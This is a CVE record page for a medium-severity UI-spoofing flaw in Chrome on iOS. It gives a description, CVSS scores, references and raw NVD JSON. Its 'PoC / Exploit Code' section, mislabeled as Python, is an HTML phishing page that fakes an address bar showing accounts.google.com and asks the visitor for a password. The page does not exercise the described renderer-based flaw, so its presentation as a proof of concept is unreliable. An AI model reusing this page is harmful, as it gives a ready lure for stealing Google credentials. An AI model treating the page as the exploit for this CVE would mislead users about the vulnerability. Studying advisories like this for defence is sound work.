CVE-2026-8584

Description

Inappropriate implementation in Views in Google Chrome on iOS prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to perform UI spoofing via a crafted HTML page. (Chromium security severity: Medium)

CVSS Details

CVSS Score

4.2

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:L

Configurations (Affected Products)

No configuration data available.

Google Chrome on iOS < 148.0.7778.168

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- PoC for CVE-2026-8584: Chrome iOS UI Spoofing -->
<!-- This HTML demonstrates how a crafted page might attempt to spoof the address bar -->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-8584 PoC</title>
    <style>
        body { margin: 0; background-color: #fff; font-family: sans-serif; }
        /* Simulate the Chrome iOS Address Bar */
        .fake-address-bar {
            position: fixed; top: 0; left: 0; width: 100%; height: 44px;
            background-color: #F1F1F1; border-bottom: 1px solid #ccc;
            box-shadow: 0 1px 2px rgba(0,0,0,0.1);
            display: flex; align-items: center; padding: 0 10px;
            z-index: 9999;
        }
        .fake-lock {
            color: #5f6368; margin-right: 8px; font-size: 14px;
        }
        .fake-url {
            flex-grow: 1; background-color: #fff; height: 28px;
            border-radius: 4px; display: flex; align-items: center;
            justify-content: center; font-size: 14px; color: #202124;
            border: 1px solid #dadce0;
        }
    </style>
</head>
<body>
    <div class="fake-address-bar">
        <span class="fake-lock">🔒</span>
        <div class="fake-url">https://accounts.google.com</div>
    </div>
    <div style="margin-top: 60px; padding: 20px; text-align: center;">
        <h1>Security Alert</h1>
        <p>Please verify your password.</p>
        <input type="password" placeholder="Password" style="padding: 10px; width: 80%;">
    </div>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-8584
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-8584
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-8584/
[4] VulDB https://vuldb.com/cve/CVE-2026-8584
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html
[6] https://issues.chromium.org/issues/498892595

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-8584", "sourceIdentifier": "[email protected]", "published": "2026-05-14T20:17:20.797", "lastModified": "2026-05-14T22:16:51.530", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Inappropriate implementation in Views in Google Chrome on iOS prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to perform UI spoofing via a crafted HTML page. (Chromium security severity: Medium)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:L", "baseScore": 4.2, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.6, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-451"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/498892595", "source": "[email protected]"}]}}